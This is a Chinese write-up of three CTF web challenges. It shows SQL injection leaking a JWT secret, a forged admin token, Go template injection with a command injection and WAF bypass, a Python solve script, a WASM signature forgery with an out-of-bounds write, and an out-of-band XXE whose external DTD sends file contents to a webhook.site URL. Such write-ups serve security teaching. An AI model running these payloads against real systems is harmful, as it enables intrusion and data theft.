返回中出现可控内容,确认可做联合查询

  1. 通过 SQLi 读取敏感信息

3.1 枚举表结构

' UNION SELECT 999,name,sql,'u','u','2099-01-01' FROM sqlite_master WHERE type='table' --

得到关键表:

  • users
  • settings
  • posts

3.2 读取 settings

' UNION SELECT 999,key,value,'s','s','2099-01-01' FROM settings --

拿到关键配置:

jwt_secret&nbsp;=&nbsp;0a7bd9304a308b10d5e0a28e6ededfc37e1420d1444d6f98
  1. 伪造管理员JWT,进入后台

站点使用 HS256,并且 token 放在 cookie:token=…

构造 payload:

{&nbsp;&nbsp;"username":&nbsp;"admin",&nbsp;&nbsp;"role":&nbsp;"admin",&nbsp;&nbsp;"iat": <now>,&nbsp;&nbsp;"exp": <now+86400>}

用jwt_secret做 HMAC-SHA256 签名后,把token放入cookie,请求:

  • /admin
  • /admin/newsletter

成功进入管理员页面

  1. 漏洞二:Newsletter 模板接口可触发方法调用

/admin/newsletter 的 POST 参数中存在 template,后端会渲染 Go template

先用探针确认上下文对象:

{{&nbsp;printf&nbsp;"%#v"&nbsp;. }}

返回:

&main.NewsletterData{Title:"...", Content:"...", Site:(*main.SiteConfig)(...), Mailer:(*main.MailService)(...), ...}

继续探测 Mailer:

{{&nbsp;printf&nbsp;"%#v"&nbsp;.Mailer }}

可见:

&main.MailService{Host:"mail.gopherblog.local", Port:587, From:"[email protected]"}

继续测方法:

  • {{ .Mailer.Ping }} 可执行并返回命令输出
  • {{ .Mailer.Configure “…” 80 }} 可修改 Mailer 配置
  1. 命令注入确认(RCE)

构造模板:

{{ .Mailer.Configure&nbsp;"127.0.0.1;id;#"&nbsp;80&nbsp;}}{{ .Mailer.Ping&nbsp;}}

返回中出现:

uid=0(root) gid=0(root)

说明已拿到命令执行能力(root 权限)

  1. 读取 flag

WAF 对部分关键字有拦截(如 flag, cat, head 等),但可以绕过:

  • 路径不直接写 /flag,改用 /f*
  • 命令不用 cat,改用 fold(未被拦)

最终 payload:

{{ .Mailer.Configure&nbsp;"127.0.0.1;fold /f*;#"&nbsp;80&nbsp;}}{{ .Mailer.Ping&nbsp;}}

返回:

flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
  1. 完整解题脚本
import&nbsp;requestsimport&nbsp;urllib.parseimport&nbsp;jsonimport&nbsp;base64import&nbsp;hmacimport&nbsp;hashlibimport&nbsp;timeimport&nbsp;re
BASE =&nbsp;"URL"
def&nbsp;b64u(x:&nbsp;bytes) ->&nbsp;bytes:&nbsp; &nbsp;&nbsp;return&nbsp;base64.urlsafe_b64encode(x).rstrip(b"=")
# 1) SQLi 读 jwt_secretpayload =&nbsp;"' UNION SELECT 999,key,value,'s','s','2099-01-01' FROM settings WHERE key='jwt_secret' -- "url = BASE +&nbsp;"/api/posts/search?q="&nbsp;+ urllib.parse.quote(payload, safe="")r = requests.get(url, verify=False, timeout=20)j = r.json()jwt_secret = [p["content"]&nbsp;for&nbsp;p&nbsp;in&nbsp;j["posts"]&nbsp;if&nbsp;p.get("title") ==&nbsp;"jwt_secret"][0]print("[+] jwt_secret:", jwt_secret)
# 2) 伪造 admin JWTheader = {"alg":&nbsp;"HS256",&nbsp;"typ":&nbsp;"JWT"}claims = {&nbsp; &nbsp;&nbsp;"username":&nbsp;"admin",&nbsp; &nbsp;&nbsp;"role":&nbsp;"admin",&nbsp; &nbsp;&nbsp;"iat":&nbsp;int(time.time()),&nbsp; &nbsp;&nbsp;"exp":&nbsp;int(time.time()) +&nbsp;86400}msg = b64u(json.dumps(header, separators=(",",&nbsp;":")).encode()) +&nbsp;b"."&nbsp;+ \&nbsp; &nbsp; &nbsp; b64u(json.dumps(claims, separators=(",",&nbsp;":")).encode())sig = b64u(hmac.new(jwt_secret.encode(), msg, hashlib.sha256).digest())token = (msg +&nbsp;b"."&nbsp;+ sig).decode()print("[+] token:", token)
# 3) Newsletter 模板注入 + 命令执行读 flags = requests.Session()s.verify =&nbsp;Falses.cookies.set("token", token)
template =&nbsp;'{{ .Mailer.Configure "127.0.0.1;fold /f*;#" 80 }}{{ .Mailer.Ping }}'resp = s.post(&nbsp; &nbsp; BASE +&nbsp;"/admin/newsletter",&nbsp; &nbsp; data={"action":&nbsp;"preview",&nbsp;"title":&nbsp;"t",&nbsp;"content":&nbsp;"c",&nbsp;"template": template},&nbsp; &nbsp; timeout=20)
print("[+] raw response:", resp.text)m = re.search(r"flag\\{[^}]+\\}", resp.text, re.I)print("[+] FLAG:", m.group(0)&nbsp;if&nbsp;m&nbsp;else&nbsp;"not found")

WASM-Logger

题目内容:

这是一个集成了WebAssembly扩展机制的现场日志记录平台。系统通过插件化的方式处理各类异构日志流,并设有一套基于身份签名的执行保护机制。请尝试分析该平台是否存在安全缺陷。

一、初步信息收集

访问首页后可以看到两个关键点:

  1. 前端会请求 /api/v2/meta
  2. 首页直接暴露了备份文件路径:
/static/backup/plugin-note.txt.bak

访问后可得到一份非常关键的排错记录,里面直接泄露了插件签名和运行时实现细节

核心内容如下:

func&nbsp;deriveSigningKey(version, installNonce&nbsp;string)&nbsp;string&nbsp;{&nbsp; &nbsp; sum := sha256.Sum256([]byte("gl.v5:module:derive|"&nbsp;+ version +&nbsp;"|"&nbsp;+ installNonce))&nbsp; &nbsp;&nbsp;return&nbsp;hex.EncodeToString(sum[:])}signature = HMAC-SHA256(真正的签名密钥, wasm 原始字节)

以及:

env.__write(idx, val)env.__set_used(n)env.__rebind_window(off, n)memCtx.Window = memCtx.Scratch[:8]

还有旧兼容实现:

func(off, n&nbsp;uint32)&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;off >&nbsp;uint32(len(memCtx.Scratch)) || n ==&nbsp;0&nbsp;|| n >&nbsp;24&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp; }&nbsp; &nbsp; hdr := (*reflect.SliceHeader)(unsafe.Pointer(&memCtx.Window))&nbsp; &nbsp; base :=&nbsp;uintptr(unsafe.Pointer(&memCtx.Scratch[0]))&nbsp; &nbsp; hdr.Data = base +&nbsp;uintptr(off)&nbsp; &nbsp; hdr.Len =&nbsp;int(n)&nbsp; &nbsp; hdr.Cap =&nbsp;int(n)}

运行时结构体:

type&nbsp;RuntimeCtx&nbsp;struct&nbsp;{&nbsp; &nbsp; Scratch [64]byte&nbsp; &nbsp; Used &nbsp; &nbsp;uint16&nbsp; &nbsp; Class &nbsp;&nbsp;uint8&nbsp; &nbsp; Role &nbsp; &nbsp;uint32&nbsp; &nbsp; Gate &nbsp; &nbsp;uint32&nbsp; &nbsp; Armed &nbsp;&nbsp;uint8&nbsp; &nbsp; Window &nbsp;[]byte}

最终权限判断:

used :=&nbsp;int(memCtx.Used)if&nbsp;used >&nbsp;len(memCtx.Scratch) {&nbsp; &nbsp; used =&nbsp;len(memCtx.Scratch)}expect := crc32.ChecksumIEEE(memCtx.Scratch[:used])if&nbsp;memCtx.Armed ==&nbsp;1&nbsp;&& memCtx.Role ==&nbsp;0xA11CE&nbsp;&& memCtx.Gate == expect {&nbsp; &nbsp; 返回正式权限}

二、确认两个核心漏洞

  1. group_by 存在可利用注入

模板导入接口对 field 有白名单,但对 group_by 校验明显不足。

例如以下值都能成功导入:

length(zone)type||1type+1type=1tags[0]

更关键的是,group_by 可以用 \uXXXX 绕过导入阶段的字符校验,在预览阶段被还原后进入 SQL

布尔探测 payload:

{&nbsp;&nbsp;"name":&nbsp;"p",&nbsp;&nbsp;"field":&nbsp;"type",&nbsp;&nbsp;"group_by":&nbsp;"type\\u0027)\\u0020IS\\u0020NOT\\u0020NULL\\u0020AND\\u0020(1=1)/\\u002a"}

对应统计预览:

  • 条件为真时:{“count”:5,”mode”:”rollup-count”,”status”:”ok”}
  • 条件为假时:{“count”:0,”mode”:”rollup-count”,”status”:”ok”}

这就形成了稳定的布尔盲注 oracle

  1. WASM 运行时存在越界写提权

__rebind_window(off, n) 只检查了:

off&nbsp;> len(Scratch)

没有检查:

off&nbsp;+ n <= len(Scratch)

因此当:

off&nbsp;=&nbsp;64n&nbsp;=&nbsp;13

时,可写窗口会从 Scratch[64] 开始覆盖后面的:

  • Used
  • Class
  • Role
  • Gate
  • Armed

而最终授权条件只依赖这些字段,因此可以直接伪造

最简单的构造是:

  • Used = 0
  • Role = 0xA11CE
  • Gate = 0
  • Armed = 1

因为:

crc32(empty) =&nbsp;0

所以 Gate = 0 正好满足校验

三、利用盲注读取签名所需的 install_nonce

根据备份文件,签名密钥派生方式为:

sha256("gl.v5:module:derive|"&nbsp;+ version +&nbsp;"|"&nbsp;+ installNonce)

其中:

version 可以从 /api/v2/meta 直接获取:

{"build_tag":"r5.2.17-ops","rate_limit":9,"runtime":"linux/amd64","site":"plant-7","tenant":"plant-7","version":"r5.2.17-ops"}

但 installNonce 无法直接从公开接口获取,需要盲注数据库

先通过盲注枚举表:

gl_auditgl_runtimegl_templateslogssqlite_sequence

再枚举 gl_runtime 列名:

idscopeinstall_noncebuild_tagcreated_at

之后对 gl_runtime.install_nonce 做盲注。

先确定形态:

  • 长度:12
  • 全小写
  • 十六进制

最终得到:

install_nonce&nbsp;= b68afc834d7e

四、构造恶意 WASM

利用思路很直接:

  1. 调用 env.__rebind_window(64, 13)
  2. 把写窗口重绑到鉴权字段
  3. 用 env.__write 写入伪造值

关键写入值如下:

idx&nbsp;0..1&nbsp; &nbsp;-> Used &nbsp;=&nbsp;0x0000idx&nbsp;4..7&nbsp; &nbsp;-> Role &nbsp;=&nbsp;0x000A11CEidx&nbsp;8..11&nbsp; -> Gate &nbsp;=&nbsp;0x00000000idx&nbsp;12&nbsp; &nbsp; &nbsp;-> Armed =&nbsp;0x01

由于服务端只需要插件能被成功加载执行,所以这里构造一个最小可执行模块即可

五、计算正确签名

已知:

  • version = r5.2.17-ops
  • install_nonce = b68afc834d7e

派生签名密钥:

sha256("gl.v5:module:derive|r5.2.17-ops|b68afc834d7e")

注意这里服务端实际使用的是:

hex(sha256(...))

得到十六进制字符串后,再作为 HMAC key:

signature&nbsp;= HMAC-SHA256(derived_hex_string, wasm_bytes)

最终计算出的签名为:

b951605d5472da0da648f2734eb2a06e9341e1818dc829443bde2a568709bb4c

六、上传并执行

上传请求返回:

HTTP/1.1&nbsp;200&nbsp;OK{"size":192,"status":"plugin uploaded"}

执行请求返回:

{&nbsp;&nbsp;"output":&nbsp;"Here is my flag for you:\nflag{XXXXXXXXXXXXXXX}\nWhen I learn it well, I will pass on this persistence to you too.\n",&nbsp;&nbsp;"status":&nbsp;"granted"}

成功拿到flag

七、完整利用链总结

整个链路如下:

  1. 首页暴露备份文件路径
  2. 备份文件泄露签名算法、WASM API、运行时结构和提权判断
  3. 模板接口中group_by 存在 \uXXXX 绕过后的 SQL 布尔盲注
  4. 盲注读出gl_runtime.install_nonce = b68afc834d7e
  5. 用version = r5.2.17-ops 和 install_nonce 派生真实签名 key
  6. 上传恶意 WASM
  7. 利用__rebind_window 越界写覆盖 RuntimeCtx
  8. 伪造Used/Role/Gate/Armed
  9. 触发正式权限分支并返回flag
group_by&nbsp;SQL 盲注 -> install_nonce -> 正确签名 -> WASM 越界写提权 -> flag

Active

题目内容:

好像只是一个单纯的静态网站?也许?大概?

一、初始分析

先对 back.jar 做静态分析,发现这是一个 Spring Boot + Shiro 应用,核心业务类很少,主要有:

  • com.ctf.activetest.demos.web.UserController
  • com.ctf.activetest.demos.web.MyFilter
  • com.ctf.activetest.demos.web.MyShiroFilterFactoryBean
  • com.ctf.activetest.demos.web.ShiroConfig
  • com.ctf.activetest.demos.web.ErrorController

从反编译结果可以得到几个关键点:

  1. 路由信息

UserController 中能看到如下逻辑:

  • GET / -> 返回首页 index
  • GET /backup -> 下载类路径中的 static/back.jar
  • RequestMapping /permit/{value} -> 无论传什么都返回 admin
  1. Shiro 过滤器

MyShiroFilterFactoryBean 中只给 /permit/.* 挂了自定义过滤器:

manager.addToChain("/permit/.*",&nbsp;"myFilter");

MyFilter 的逻辑非常简单,只检查请求头:

String&nbsp;token = ((HttpServletRequest) request).getHeader("AccessToken");return&nbsp;token !=&nbsp;null&nbsp;&& token.equals("faketoken");

也就是说,按照附件逻辑,访问 /permit/* 时只要带上:

AccessToken:&nbsp;faketoken

就应该通过校验

  1. 模板中的提示

admin.html 里出现了一个非常重要的提示:

POST /parse/sax-parser

并且页面标题明确写的是“XML解析工具”。这通常意味着真正的利用点不是表面上的 Shiro,而是 XML 解析接口

二、动态验证

  1. /permit/* 并不是最终利用点

虽然附件代码里写死了 AccessToken: faketoken,但线上直接请求:

curl&nbsp;-k -i -H&nbsp;"AccessToken: faketoken"&nbsp;"https://ichunqiu.com/permit/test"

实际返回的是 302 -> /403。

这说明:

  • 要么线上运行环境在这一层做了额外处理
  • 要么这个点本身就是烟雾弹

但后台模板泄露出的 /parse/sax-parser 更值得优先验证

三、确认 XML 解析接口存在

先直接 POST 一个正常 XML:

curl&nbsp;-k -i -X POST&nbsp;\&nbsp;&nbsp;"https://ichunqiu.com/parse/sax-parser"&nbsp;\&nbsp; -H&nbsp;"Content-Type: application/xml"&nbsp;\&nbsp; --data-binary @payload_valid.xml

其中 payload_valid.xml:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><financialReport>&nbsp;&nbsp;<company>&nbsp; &nbsp;&nbsp;<name>test</name>&nbsp;&nbsp;</company></financialReport>

返回页面为:

XML&nbsp;Loaded Successfully

说明这个接口在靶机上真实存在,并且无需先通过 /permit/*

四、确认 XXE

  1. 本地文件实体测试

发送如下 XML:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;financialReport&nbsp;[<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"file:///etc/passwd">]><financialReport>&nbsp;&nbsp;<company>&nbsp; &nbsp;&nbsp;<name>&xxe;</name>&nbsp;&nbsp;</company></financialReport>

接口返回依然是成功页面,没有直接把内容回显到响应里

这说明:

  • 外部实体没有被禁用
  • 但接口本身不把解析结果直接显示给我们
  • 更像是盲 XXE
  1. 外连实体测试

再发送一个 HTTP 外部实体:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;financialReport&nbsp;[<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://example.com/">]><financialReport>&nbsp;&nbsp;<company>&nbsp; &nbsp;&nbsp;<name>&xxe;</name>&nbsp;&nbsp;</company></financialReport>

这次接口返回 500。

这通常意味着:

  • 服务端真的去抓了远程内容
  • 但抓回来的内容不符合它当前的 XML 解析预期

因此可以确定这里存在可利用的 XXE,并且支持外带

五、使用 OOB XXE 外带数据

为了确认服务端是否真的会出网请求外部 DTD,我先创建一个 webhook 地址,并构造外部实体:

  1. 探测出网

DTD 内容:

<!ENTITY %&nbsp;ext&nbsp;SYSTEM&nbsp;"https://webhook.site/你的token">%ext;

主 XML:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;financialReport&nbsp;[<!ENTITY %&nbsp;remote&nbsp;SYSTEM&nbsp;"外部DTD地址">%remote;]><financialReport>&nbsp;&nbsp;<company>&nbsp; &nbsp;&nbsp;<name>test</name>&nbsp;&nbsp;</company></financialReport>

结果 webhook 收到来自靶机的请求,User-Agent 为:

Java/11.0.13

说明目标会解析外部 DTD,并且能向外发起请求

  1. 外带 /etc/hostname

为了验证完整盲打链路,使用如下外部 DTD:

<!ENTITY % file SYSTEM&nbsp;"file:///etc/hostname"><!ENTITY %&nbsp;eval&nbsp;"<!ENTITY &#x25; exfil SYSTEM 'https://webhook.site/你的token/?x=%file;'>">%eval;%exfil;

成功收到请求:

?x=engine-1

说明:

  • file:// 读取成功
  • 内容被拼接进外带 URL 成功发出

到这里就只差枚举flag路径

六、枚举 flag 路径

常见路径包括:

/flag

/flag.txt

/root/flag

/root/flag.txt

/app/flag

/tmp/flag

/proc/self/cwd/flag

这里直接命中第一条:/flag

收到的请求 URL 为:

https://webhook.site/你的token/=flag{XXXXXXXXXXXXXXXXXX}

虽然参数样式被SAX/URL拼接过程弄得有点怪,但核心内容已经完整带出

七、最终利用思路总结

  1. 从 back.jar 里拿到后台模板和接口提示,发现 POST /parse/sax-parser
  2. 动态验证后确认该接口在线且未授权即可访问
  3. 通过本地文件实体和远程实体测试,确认存在 XXE
  4. 使用外部 DTD + webhook.site 做 OOB XXE 外带
  5. 先读取 /etc/hostname 验证外带链路可行
  6. 枚举常见 flag 路径,最终从 /flag 读取到 flag

八、最终Payload

外部 DTD

<!ENTITY % file SYSTEM&nbsp;"file:///flag"><!ENTITY %&nbsp;eval&nbsp;"<!ENTITY &#x25; exfil SYSTEM 'https://webhook.site/你的token/?x=%file;'>">%eval;%exfil;

主 XML

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;financialReport&nbsp;[<!ENTITY %&nbsp;remote&nbsp;SYSTEM&nbsp;"你的外部DTD地址">%remote;]><financialReport>&nbsp;&nbsp;<company>&nbsp; &nbsp;&nbsp;<name>test</name>&nbsp;&nbsp;</company></financialReport>

附:

观赛地址、排名查看:

https://match.ichunqiu.com/2026hmg-views


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星宇Sec 佚名 佚名《2026数字中国创新大赛数字安全赛道暨三明市第六届”红明谷”杯大赛WP》

评论:0   参与:  0